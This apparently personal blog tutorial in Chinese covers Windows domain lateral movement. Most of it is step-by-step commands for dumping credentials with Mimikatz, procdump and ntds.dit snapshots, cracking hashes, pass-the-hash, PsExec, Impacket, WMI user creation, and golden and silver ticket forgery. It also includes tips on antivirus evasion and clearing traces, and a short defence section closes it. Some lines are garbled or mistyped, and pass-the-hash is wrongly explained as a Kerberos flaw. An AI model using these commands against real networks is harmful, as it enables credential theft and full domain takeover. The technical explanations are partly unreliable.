内网横向移动

 

内网横向移动 

一、Windows远程连接基础

1.1 远程连接方式概述

Windows远程连接有以下几种常见实现方式:

方式说明
mstsc Windows远程桌面(基于RDP协议,默认端口3389)
VNC 跨平台远程桌面工具
IPC$ 基于SMB协议的进程间通信共享(本章重点)

1.2 IPC$ 共享基础

IPC(Inter-Process Communication,进程间通信)用于在进程之间交换数据。IPC$是Windows系统默认开启的隐藏共享,用于远程进程间通信。

1.2.1 IPC$ 利用条件

 1、目标主机开启了139、445端口
 2、目标主机管理员开启了默认共享(ipc$、admin$、c$等)

端口说明

  • 139端口:NetBIOS会话服务端口,用于提供文件和打印机共享

  • 445端口:SMB(Server Message Block)协议端口,是IPC$连接的核心端口

1.2.2 开启IPC$共享

 net share ipc$

注释:查看IPC$共享是否已开启(默认启用)。

1.2.3 建立IPC$连接

 net use \\192.168.1.1\ipc$ "qxy@123!" /user:administrator

注释:使用指定用户名和密码与目标主机建立IPC$连接(密码为qxy@123!,用户为administrator)。

1.2.4 查看连接状态

 net use

注释:查看当前主机建立的所有网络连接,包括IPC$连接。

1.2.5 删除IPC$连接

 net use \\192.168.1.1\ipc$ /delete

注释:删除与目标主机的IPC$连接,清理痕迹。

1.3 通过IPC$连接执行远程命令

建立IPC$连接后,可以执行以下远程操作:

 tasklist /s 192.168.63.131

注释:通过IPC$连接查看远程主机(192.168.63.131)的进程列表。/s指定远程系统IP。

 net time \\192.168.63.131

注释:查看远程主机的当前时间(通常用于确认连接是否成功,以及后续计划任务的时间同步)。

二、基于计划任务的横向移动

2.1 实验环境

 攻击机:Win10               目标机:Windows Server 2012
 IP:192.168.1.15           IP:192.168.1.58

2.2 制作后门脚本

在攻击机(Win10)上制作一个bat批处理文件(示例为打开计算器,实战中为反弹Shell或后门程序):

calc.bat 内容

 start calc.exe

注释:启动计算器程序(实战中替换为恶意代码,如反弹Shell:powershell -c "反弹shell命令")。

 

2.3 创建远程计划任务

schtasks /create /S 192.168.1.58 /tn "MyTask" /tr "C:\calc.bat" /sc daily /st 11:31 /U:administrator

注释:在远程主机(192.168.1.58)上创建一个名为"MyTask"的计划任务:

  • /S:指定远程计算机

  • /tn:任务名称(Task Name)

  • /tr:任务执行的程序路径(Task Run)

  • /sc:任务运行周期(Schedule,此处为每日)

  • /st:开始时间(Start Time)

  • /U:用户名(Username,需提供目标主机的管理员凭据)

2.4 删除远程计划任务

schtasks /delete /s 192.168.1.58 /tn "MyTask" /f /U:administrator

注释:删除远程主机上的指定计划任务:

  • /delete:删除任务

  • /s:指定远程计算机

  • /tn:要删除的任务名称

  • /f:强制删除(Force),不提示确认

  • /U:用户名

2.5 远程执行命令的其他方式

schtasks /run /s 192.168.1.58 /tn "MyTask" /U:administrator

注释:立即运行远程主机上的指定计划任务,无需等待预定时间。

schtasks /query /s 192.168.1.58 /U:administrator

注释:查询远程主机上的所有计划任务,用于确认任务是否创建成功。

三、Windows系统散列值获取分析与防范

3.1 基础概念

Windows系统使用两种方法对用户明文密码进行加密处理:

加密方式说明状态
LM Hash LAN Manager Hash,基于DES加密 已废弃(仅老版本系统使用)
NTLM Hash NT LAN Manager Hash,基于MD4加密 当前主流(Windows NT及以上)

3.1.1 Windows登录流程

1. 打开电脑
2. 进入登录页面(winlogon.exe)
3. 输入用户名及密码
4. 密码交给 lsass.exe 进程进行MD4加密
5. 将加密结果与数据库中保存的NTLM Hash进行比对
a) 密码正确 → 成功进入系统
b) 密码错误 → 提示继续输入

 

 

关键进程

  • lsass.exe(Local Security Authority Subsystem Service):本地安全认证子系统服务,负责登录密码校验。所有登录凭证(包括明文密码、NTLM哈希)都可能缓存在该进程的内存中。

  • winlogon.exe:Windows登录管理器,负责显示登录界面并将用户凭证传递给lsass.exe。

3.2 密码抓取工具

常用的密码抓取工具有:

1. GetPass.exe
2. PwDump7.exe
3. QuarksPwDump.exe
4. 通过sam和system文件抓取密码
5. 使用mimikatz在线读取sam文件
6. 使用mimikatz离线读取lsass.dump文件
7. 使用powershell对散列值进行dump操作
8. 使用powershell远程加载mimikatz抓取散列值和明文密码

3.2.1 GetPass.exe

GetPass.exe

注释:直接在目标主机上运行即可抓取密码。适用于Windows 7,但在Windows 10及以上版本可能无法正常工作(工具较老)。

 

3.2.2 Mimikatz(重点工具)

Mimikatz是法国安全研究员Benjamin Delpy开发的Windows安全审计工具,是目前最强大的Windows凭证抓取工具。

基础用法

mimikatz.exe

注释:启动Mimikatz进入交互式命令行模式(调试模式)。

privilege::debug

注释:提升Mimikatz到调试权限(需要管理员权限),这是后续所有抓取操作的前置命令。

sekurlsa::logonpasswords

注释:从lsass.exe进程内存中提取当前登录用户的用户名和密码(默认获取NTLM哈希,即密文)。

获取明文密码(需修改注册表)

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

注释:修改注册表,允许系统在lsass.exe内存中保存明文密码。WDigest是Windows的认证协议之一,启用后系统会以明文形式缓存用户密码。

修改完注册表需要重启系统,让配置生效。
重启后重新进入Mimikatz调试模式,执行 sekurlsa::logonpasswords 即可看到明文密码。

 

 

注意事项

  • 修改注册表后必须重启才能生效

  • 此操作会在系统上留下明显的注册表修改痕迹

  • 实战中应评估被发现的风险

3.2.3 Mimikatz免杀

Mimikatz容易被杀毒软件查杀,应对方式主要有:

① 免杀处理:对mimikatz进行混淆、加壳、修改特征码等操作
参考文章:https://zhuanlan.zhihu.com/p/561122455
② 不在目标主机上直接使用,采用间接方式(如下文方法)

方法一:导出SAM和SYSTEM文件(允许导出注册表时)

reg save hklm\sam sam.save

注释:将SAM注册表项导出到当前目录的sam.save文件(SAM中存储了用户的NTLM哈希,但被Syskey加密)。

reg save hklm\system system.save

注释:将SYSTEM注册表项导出到当前目录的system.save文件(SYSTEM中存储了Syskey加密密钥)。

mimikatz.exe "lsadump::sam /sam:sam.save /system:system.save" exit

注释:使用Mimikatz加载导出的SAM和SYSTEM文件,解密并提取所有用户的NTLM哈希。

原理:SAM里存的Hash是用Syskey加密过的,Syskey的密钥藏在SYSTEM中。只有同时拿到两者,才能还原出NTLM Hash。

 

 

方法二:使用Procdump导出lsass.dmp(不允许导出注册表时)

Procdump是微软Sysinternals套件中的合法工具(白名单程序),可导出进程的内存镜像。

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

注释:将lsass.exe进程的内存完整导出到lsass.dmp文件。-ma表示完整内存转储(Mini Dump Full)。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

注释:在攻击机上执行,将导出的lsass.dmp加载到Mimikatz内存中进行分析,提取所有登录凭证。sekurlsa::minidump用于加载内存转储文件,sekurlsa::logonPasswords full提取凭证。

 

 

注意事项

  • SAM只保存NTLM哈希(密文),因此通过注册表导出的文件只能得到密文

  • 修改注册表允许保存明文密码后,明文密码存储在lsass.exe进程内存中

  • 通过lsass.dmp提取的密码类型取决于注册表配置:

    • 未修改注册表:仅能提取NTLM哈希

    • 已修改注册表(WDigest开启):可提取明文密码

3.2.4 Nishang

Nishang是一个PowerShell渗透测试框架,包含大量PowerShell脚本。

 

常用命令

Import-Module .\nishang.psm1

注释:导入Nishang模块。

Get-Information

注释:收集系统信息。

Invoke-Mimikatz

注释:通过PowerShell直接调用Mimikatz功能,无需上传mimikatz.exe文件。

3.2.5 NTDS.dit 导出域内所有用户哈希

在活动目录(Active Directory)中,所有数据(包括所有域用户的密码哈希)都保存在域控的 ntds.dit 文件中。

文件路径%SystemRoot%\ntds\ntds.dit

NTDS.dit包含但不限于:

  • 用户名

  • 散列值(NTLM Hash)

  • 组信息

  • GPP(组策略首选项)

  • OU(组织单元)

  • 其他活动目录信息

⚠️ 注意:ntds.dit文件非常敏感,正在使用中,无法直接拷贝,需要借助VSS(卷影复制服务)进行备份导出。

使用VSS备份导出NTDS.dit的完整流程

ntdsutil snapshot "activate instance ntds" create quit quit

注释:激活ntds实例并创建快照,完成后会生成一个GUID(如 {6affcd44-c838-424c-885b-468464faa975})。

ntdsutil snapshot "mount {6affcd44-c838-424c-885b-468464faa975}" quit quit

注释:使用上一步生成的GUID挂载快照,挂载后会在系统根目录生成 C:\$SNAP_XXX_VOLUMEC$\ 这样的虚拟卷。

copy C:\$SNAP_202202182022_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit

注释:从挂载的快照中复制ntds.dit文件到指定位置(快照体积可能几十GB,但我们只需要其中的ntds.dit文件)。

reg save hklm\system c:\system

注释:导出系统注册表SYSTEM项,后面提取哈希时需要用到(用于解密ntds.dit中的加密哈希)。

ntdsutil snapshot "unmount {6affcd44-c838-424c-885b-468464faa975}" quit quit

注释:卸载快照。

ntdsutil snapshot "delete {6affcd44-c838-424c-885b-468464faa975}" quit quit

注释:删除快照,清理痕迹。

ntdsutil snapshot "List All" quit quit

注释:查询当前系统中的所有快照,用于确认创建和删除状态。

从ntds.dit提取哈希(推荐方法)

secretsdump.py -system system -ntds ntds.dit LOCAL

注释:使用impacket套件中的secretsdump.py工具,利用导出的system文件和ntds.dit文件,在本地提取所有域用户的NTLM哈希。这是最推荐的方法,一条命令即可完成

 

 

注意事项

  • 此操作只能在域控(DC)上执行

  • 即使域控管理员密码已更改,通过ntds.dit仍可获取所有用户的哈希(权限维持)

  • 提取出的哈希可用于PTH(Pass The Hash)攻击

  • 操作完成后必须清理快照和导出的文件

3.3 密码破解

3.3.1 Hashcat 破解密码

Hashcat是目前最强大的密码破解工具之一,在Kali Linux中内置。

使用示例:破解NTLM哈希 1cea9e78be5c55ae22eb2f6e60ee10a0(明文为 Zz2002510!

hashcat -m 1000 -a 0 -o winpass.txt win.hash passwd.txt --force

注释:使用Hashcat破解NTLM哈希:

  • -m 1000:指定破解类型为NTLM(NTLM Hash的编号为1000)

  • -a 0:指定攻击模式为字典攻击(0=字典,1=组合,3=掩码)

  • -o winpass.txt:将破解结果输出到winpass.txt文件

  • win.hash:包含待破解哈希值的文件

  • passwd.txt:密码字典文件

  • --force:忽略警告信息(单条哈希破解时可能需要)

hashcat -m 1000 --show win.hash

注释:显示已破解的哈希及其对应的明文密码。

 

Hashcat常用模式

参数说明
-m 1000 NTLM Hash
-m 5600 Net-NTLMv2(用于中间人攻击捕获的哈希)
-a 0 字典攻击
-a 1 组合攻击(将两个字典的组合作为密码)
-a 3 掩码攻击(暴力破解指定字符集和长度)
--show 显示已破解的结果

Hashcat使用手册参考:https://xz.aliyun.com/t/4008

四、哈希传递攻击(Pass The Hash)

4.1 原理概述

PTH(Pass The Hash)攻击利用了Kerberos认证协议的漏洞。原理:当我抓取到用户的NTLM哈希后,就可以使用该哈希伪造用户身份,无需破解明文密码,直接通过认证。

关键点:PTH攻击在Kerberos认证的AS_REQ阶段就已完成,只需NTLM哈希即可伪造身份,不需要明文密码。

前提条件

1. 域内任意一台主机的本地管理员权限
2. 域管理员的NTLM哈希(或其他域内用户的哈希)

适用范围限制

  • 只能使用域管理员组内用户的哈希进行PTH攻击(才能控制整个域)

  • 其他用户的哈希只能访问该用户拥有的权限范围内的资源

4.2 使用Mimikatz进行PTH攻击

目标:抓取Windows Server 2012的NTLM哈希,使用Mimikatz进行哈希传递攻击。

步骤1:获取目标主机的NTLM哈希

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 123.txt

注释:提取lsass.exe内存中的所有登录凭证(含NTLM哈希),并将输出重定向到123.txt文件。

 

步骤2:使用Mimikatz执行PTH攻击

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:域管理员用户名 /domain:域名 /ntlm:抓取的NTLM哈希 /run:cmd.exe" exit

注释:使用获取的NTLM哈希伪造域管理员身份,弹出新的CMD窗口(该窗口将具有域管理员的令牌)。

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:qxy.cn /ntlm:1cea9e78be5c55ae22eb2f6e60ee10a0 /run:cmd.exe" exit

注释:实战示例,使用域管理员administrator的NTLM哈希,以域qxy.cn的身份弹出CMD窗口。

 

步骤3:在新弹出的CMD中验证

echo "hello" > 2023_11_24.txt

注释:在攻击机当前目录创建一个测试文件。

copy 2023_11_24.txt \\192.168.1.58\c$\

注释:将测试文件复制到目标主机(192.168.1.58)的C盘根目录(通过C$管理员共享)。

dir \\192.168.1.58\c$\

注释:列出目标主机C盘目录,验证文件是否成功复制。

 

4.3 实战场景说明

常见情况:域管理员曾登录过某台域成员主机且未退出登录
→ 在该主机上可以抓取到域管理员的NTLM哈希
→ 使用PTH攻击即可直接控制整个域

攻击流程

获取域成员主机权限 → 发现域管理员登录痕迹 → 抓取NTLM哈希 → PTH攻击 → 获得域控权限

五、PsExec 横向移动

5.1 PsExec 简介

PsExec是微软Sysinternals套件中的合法远程执行工具,通过SMB协议(445端口)在远程主机上执行命令。

特点

  • 微软官方工具,免杀效果好

  • 原理:在远程主机上创建服务,通过服务执行命令

  • 需要管理员权限

5.2 PsExec 基本用法

方式一:已建立IPC$连接的情况下

PsExec.exe \\192.168.1.58 cmd.exe

注释:在已建立IPC$连接的前提下,直接使用PsExec连接远程主机(192.168.1.58),获取交互式CMD Shell。

PsExec.exe \\192.168.1.58 -s cmd.exe

注释:-s参数表示以SYSTEM权限运行cmd.exe(最高权限)。

方式二:未建立IPC$连接的情况下

PsExec.exe -accepteula \\192.168.150.12 -u administrator -p 密码 -s cmd.exe

注释:直接指定用户名和密码,无需预先建立IPC$连接:

  • -accepteula:自动接受EULA许可协议(第一次运行需要)

  • -u:指定用户名(Username)

  • -p:指定密码(Password)

  • -s:以SYSTEM权限运行

 

其他常用参数

PsExec.exe \\192.168.1.58 -u administrator -p 密码 -c calc.bat

注释:-c参数表示将本地文件复制到远程主机并执行。

PsExec.exe \\192.168.1.58 -d cmd.exe

注释:-d参数表示不等待远程命令执行完成(后台运行),适合执行不返回结果的命令。

六、Impacket工具包横向移动

6.1 Impacket 简介

Impacket是由SecureAuth开发的Python网络协议工具包,专注于Windows协议实现,包含大量用于横向移动和渗透测试的脚本。

安装

tar -xzvf "impacket-0.11.0 (1).tar.gz"

注释:解压Impacket源码包(Linux环境)。

cd impacket-0.11.0
python setup.py install

注释:安装Impacket(需Python环境)。

6.2 psexec.py(Impacket版)

Impacket的psexec.py功能类似于微软PsExec,但更灵活,支持密码和哈希两种认证方式。

使用明文密码

python3 psexec.py Administrator@192.168.1.58

注释:通过明文密码登录远程主机(192.168.1.58),会提示输入密码。

python3 psexec.py qxy/Administrator@192.168.139.143

注释:指定域(qxy)和用户(Administrator),连接远程主机。

使用NTLM哈希(PTH方式)

python3 psexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0

注释:使用NTLM哈希进行认证(哈希传递攻击)。-hashes参数格式为 :NTLM哈希(LM哈希为空时留空,只写NTLM哈希)。

效果

root@kali:~/桌面/gongju/impacket-0.11.0/examples python3 psexec.py Administrator@192.168.1.58
Password:
...
C:\Windows\system32> whoami
nt authority\system

6.3 wmiexec.py

使用WMI(Windows Management Instrumentation)协议进行远程命令执行,无需创建服务,更加隐蔽。

使用明文密码

python3 wmiexec.py Administrator@192.168.1.58

注释:通过WMI连接远程主机(需提供明文密码)。

使用NTLM哈希

python3 wmiexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0

注释:使用NTLM哈希通过WMI认证。

执行单条命令

python3 wmiexec.py Administrator@192.168.1.58 "whoami"

注释:在远程主机上执行单条命令并立即退出。

 

6.4 smbexec.py

通过SMB协议在远程主机上执行命令,与psexec.py类似但实现方式略有不同。

python3 smbexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0

注释:使用SMB协议通过NTLM哈希进行认证并获取Shell。

6.5 dcomexec.py

利用DCOM(分布式组件对象模型)协议进行远程命令执行,比WMI更隐蔽。

python3 dcomexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0

注释:通过DCOM协议进行远程命令执行。

 

6.6 atexec.py

利用Windows计划任务(AT命令)在远程主机上执行命令(适用于兼容老版本系统)。

python3 atexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0 "whoami"

注释:通过计划任务在远程主机上执行单条命令(使用哈希认证)。注意用hashes时将命令放置在IP后。

 

七、WMI 横向移动

7.1 WMI 简介

WMI(Windows Management Instrumentation)是Windows系统的管理基础设施,允许通过脚本和编程方式管理系统。WMI在Windows中默认开启,且通常不会被杀软拦截。

7.2 WMI 远程执行命令

wmic /node:192.168.139.143 /user:Administrator /password:Admin@123! Process call create "cmd.exe /c ipconfig > c:\ip.txt"

注释:使用WMI远程连接目标主机(192.168.139.143),以指定用户名和密码验证身份后,动态创建新进程执行命令(将ipconfig结果写入C:\ip.txt):

  • /node:指定目标节点(远程主机)

  • /user:指定用户名

  • /password:指定密码

  • Process call create:调用WMI的进程创建方法,执行命令

7.3 WMI 常用命令

wmic /node:192.168.1.58 /user:Administrator /password:密码 process call create "cmd.exe /c whoami > c:\whoami.txt"

注释:执行whoami命令并将结果输出到文件。

wmic /node:192.168.1.58 /user:Administrator /password:密码 process call create "cmd.exe /c net user hacker P@ssw0rd /add"

注释:在远程主机上创建本地用户hacker。

WMI特点

  • 无需额外上传工具

  • Windows系统自带,兼容性好

  • 不会在被控主机上留下可执行文件

  • 相对隐蔽

八、黄金票据与白银票据

8.1 Kerberos认证协议概述

Kerberos是Windows域环境中的默认认证协议,涉及以下核心组件:

组件全称说明
KDC Key Distribution Center 密钥分发中心,域控上的核心认证服务
AS Authentication Service 认证服务,负责验证用户身份(第一步)
TGS Ticket Granting Service 票据授予服务,负责颁发服务票据(第二步)
TGT Ticket Granting Ticket 票据授予票据(黄金票据的目标)
ST Service Ticket 服务票据(白银票据的目标)

8.1.1 Kerberos认证流程

┌─────────────────────────────────────────────────────────────────────────────┐
│ 第一步:客户端 → AS(认证服务) │
│ 用户输入密码 → 请求TGT │
│ AS验证用户身份(查询AD中的NTLM哈希) → 返回TGT(用krbtgt密钥加密) │
│ │
│ 第二步:客户端 → TGS(票据授予服务) │
│ 携带TGT + 用户NTLM哈希加密的时间戳 → 请求ST │
│ TGS验证TGT → 返回ST(用目标服务的密钥加密) │
│ │
│ 第三步:客户端 → 目标服务 │
│ 携带ST访问目标服务 → 服务端验证票据 → 允许访问 │
└─────────────────────────────────────────────────────────────────────────────┘

关键点

  • TGT(黄金票据) :由AS颁发,由krbtgt用户的NTLM哈希加密。只要拥有krbtgt的哈希,就可以伪造任意用户的TGT。

  • ST(白银票据) :由TGS颁发,由目标服务的NTLM哈希加密。只要拥有目标服务账户的哈希,就可以伪造访问该服务的ST。

简化理解

乘客购票模型:
- 第一个房屋(安检厅)= AS,核验乘客身份后发放"良票"(TGT)
- 第二个房屋(售票厅)= TGS,凭"良票"购买特定车票(ST)
- 车票(ST)= 只能乘坐指定车次(对应特定服务)

黄金票据 = 伪造"良票"(任意车次都能买)
白银票据 = 伪造指定车次的车票(只能访问特定服务)

8.2 黄金票据(Golden Ticket)

黄金票据是伪造的TGT,可以在域内任何一台主机上生成和使用,拥有域的最高控制权。

8.2.1 黄金票据伪造条件

1. 域的SID(Security Identifier)
2. 域用户(任意域用户,通常为Administrator)
3. krbtgt用户的NTLM哈希(最重要的条件)
4. 域的名称

如何获取krbtgt的NTLM哈希

mimikatz.exe "lsadump::dcsync /domain:qxy.cn /user:krbtgt" exit

注释:使用DCSync技术从域控制器同步krbtgt用户的NTLM哈希(无需登录域控,只需域管理员权限)。

image-20260702190245295

8.2.2 查看当前票据

klist

注释:显示当前主机的Kerberos票据缓存。

klist purge

注释:清除当前主机的所有Kerberos票据缓存。

image-20260702190258763

8.2.3 生成黄金票据

Hash NTLM: 0a1673cbcf1453086833244439e42135

yuechu\administrator S-1-5-21-3540776899-1763508003-2270725786

mimikatz.exe "kerberos::golden /admin:Administrator /domain:yuechu.cn /sid:S-1-5-21-3540776899-1763508003-2270725786 /krbtgt:0a1673cbcf1453086833244439e42135 /ticket:golden.kiribi" exit


net use \\WIN-0PTCQUN7FLV.yuechu.cn\ipc$dir \\WIN-0PTCQUN7FLV.yuechu.cn\c$

 

kerberos::golden /admin:Administrator /domain:qxy.cn /sid:s-1-5-21-205090235-4032567916-3992694402 /krbtgt:b06486a57ae7975daa324af1cb5bbb91 /ticket:Administrator.kiribi

注释:使用Mimikatz生成黄金票据并导出为文件:

  • /admin:要伪造的用户名

  • /domain:目标域名

  • /sid:域的SID(不含末尾的RID)

  • /krbtgt:krbtgt用户的NTLM哈希

  • /ticket:导出票据的文件名(习惯以伪造的用户名命名)

8.2.4 导入黄金票据

kerberos::ptt Administrator.kiribi

注释:将导出的黄金票据导入当前会话(Pass The Ticket),票据会缓存在当前会话中。

8.2.5 验证黄金票据

net use \\192.168.1.58\ipc$

注释:使用票据认证访问远程主机的IPC$共享(无需密码)。

net time /domain

注释:查看域时间,确认DC访问成功。

dir \\WIN-51B90I0MU8A.qxy.cn\c$

注释:列出域控制器C盘的目录内容,验证完全控制权限。

image-20260702190306386

image-20260702190315548

8.3 白银票据(Silver Ticket)

白银票据是伪造的ST,只能访问特定服务(如CIFS文件共享、LDAP、HTTP等),权限范围比黄金票据小。

8.3.1 白银票据伪造条件

1. 域名
2. 域的SID
3. 目标服务器的服务账户NTLM哈希(以DC为例,即DC机器账户的NTLM哈希)
4. 要伪造的用户名
5. 目标服务类型(如cifs、ldap、http等)

8.3.2 获取服务账户NTLM哈希

mimikatz.exe "sekurlsa::logonpasswords" exit

注释:在DC上执行,从lsass.exe内存中提取DC机器账户的NTLM哈希。

8.3.3 生成白银票据

mimikatz.exe "kerberos::golden /domain:yuechu.cn /sid:S-1-5-21-3540776899-1763508003-2270725786 /target:WIN-0PTCQUN7FLV.yuechu.cn /service:cifs /rc4:0a1673cbc1f453086833244439e42135 /user:Administrator /ptt" exit

dir \\WIN-0PTCQUN7FLV.yuechu.cn\c$
net use \\WIN-0PTCQUN7FLV.yuechu.cn\ipc$

 

mimikatz.exe "kerberos::golden /domain:yuechu.cn /sid:S-1-5-21-3540776899-1763508003-2270725786 /target:WIN-0PTCQUN7FLV.yuechu.cn /service:cifs /rc4:0a1673cbc1f453086833244439e42135 /user:Administrator /ptt" exit

image-20260702191035848

注释:生成针对CIFS服务的白银票据并直接加载到内存(/ptt表示直接注入,不导出文件):

  • /target:目标服务器FQDN

  • /service:目标服务类型(cifs用于文件共享访问)

  • /rc4:目标服务器机器账户的NTLM哈希

  • /ptt:直接注入当前会话(Pass The Ticket)

常用服务类型

服务用途
cifs 访问文件共享(最常用)
ldap 访问LDAP目录服务
http Web服务(如OWA)
rpcss 远程过程调用
wmi WMI管理

8.3.4 验证白银票据

生成并加载票据后,可以查看票据缓存:

klist

注释:查看当前会话中的票据缓存,确认白银票据已注入。

dir \\WIN-6JQD6TJ9HFT.qxy.cn\c$

注释:直接访问目标DC的C盘共享(无需密码,验证票据有效性)。

8.3.5 黄金票据 vs 白银票据 对比

对比项黄金票据(Golden Ticket)白银票据(Silver Ticket)
伪造对象 TGT(票据授予票据) ST(服务票据)
所需哈希 krbtgt用户的NTLM哈希 目标服务账户的NTLM哈希
访问范围 整个域的所有服务 只能访问指定服务器指定服务
权限 域管理员级别(完全控制) 受限于服务权限
生成位置 域内任何主机 域内任何主机
检测难度 较高(需要krbtgt哈希,权限要求高) 较低(仅需要服务账户哈希)
有效期 默认10年(可自定义) 默认10年(可自定义)
最佳用途 域权限持久化 快速访问特定服务

九、总结

9.1 横向移动核心思路

获取本地管理员权限 → 抓取凭证(NTLM哈希/明文密码) → 利用凭证横向移动到其他主机 → 逐步控制整个域

9.2 常用技术对比

技术原理所需条件优点缺点
IPC$连接 SMB共享连接 139/445端口、管理员凭据 系统自带、基础 功能有限
计划任务 创建远程计划任务 管理员权限、凭据 支持定时执行 操作较复杂
PsExec 远程服务创建执行 445端口、管理员权限 功能全面 可能产生日志
WMI WMI协议执行命令 135端口、凭据 无需上传工具 需特定端口
PTH攻击 使用NTLM哈希认证 域管理员哈希 无需明文密码 需要域环境
黄金票据 伪造TGT krbtgt哈希 任意访问 需要域控哈希
白银票据 伪造ST 服务账户哈希 隐蔽性高 服务范围受限
Impacket套件 Python协议实现 凭据/哈希 跨平台、灵活 需Python环境

9.3 攻击路径示例

┌─────────────────────────────────────────────────────────────────────────────┐
│ 1. 获得某台域成员主机的本地管理员权限 │
│ ↓ │
│ 2. 抓取凭证: │
│ - 使用Mimikatz抓取lsass内存(明文密码/NTLM哈希) │
│ - 导出SAM和SYSTEM文件(离线提取NTLM哈希) │
│ - 从域控导出ntds.dit(获取所有域用户哈希) │
│ ↓ │
│ 3. 横向移动: │
│ - 使用PTH攻击(利用域管理员哈希) │
│ - 使用PsExec/WMI执行远程命令 │
│ - 使用Impacket工具包 │
│ ↓ │
│ 4. 权限维持: │
│ - 创建黄金票据(使用krbtgt哈希) │
│ - 创建白银票据(使用服务账户哈希) │
│ - 添加隐藏账户 │
│ ↓ │
│ 5. 完全控制域 │
└─────────────────────────────────────────────────────────────────────────────┘

9.4 防御建议

  1. 凭证保护

    • 启用Credential Guard(Win10/Server 2016+),防止lsass内存被读取

    • 启用Protected Users组,限制Kerberos票据的获取方式

    • 限制域管理员登录(仅允许在DC上登录)

  2. 权限管理

    • 最小权限原则,减少不必要的管理员账户

    • 使用LAPS管理本地管理员密码

    • 定期更换krbtgt密码(需谨慎,会影响Kerberos认证)

  3. 网络防护

    • 限制445/139端口的内网通信范围

    • 启用网络流量审计和异常检测

    • 部署EDR/终端检测响应系统

  4. 日志监控

    • 监控安全事件ID 4624(登录)、4672(特权登录)

    • 监控Mimikatz相关行为(如lsass进程异常访问)

    • 监控异常的计划任务创建(事件ID 4698)

    • 监控异常的Kerberos票据请求(事件ID 4769)

9.5 核心要点

横向移动的实质是:利用已获取的凭证(密码或哈希),通过合法的Windows管理协议,在目标主机上执行任意命令或获取Shell。

  • 凭证为王:无论使用哪种横向移动技术,核心都是有效的凭证(明文密码或NTLM哈希)

  • 协议多样:SMB、WMI、RPC、DCOM、RDP等都是Windows内置的管理协议

  • 隐蔽性优先:越接近系统原生功能(如WMI、DCOM),被检测的风险越低

  • 持久化保障:获取域控权限后,黄金票据/白银票据是维持权限的最佳方式

posted @ 2026-07-11 14:37  月初吖  阅读(3)  评论(0)    收藏  举报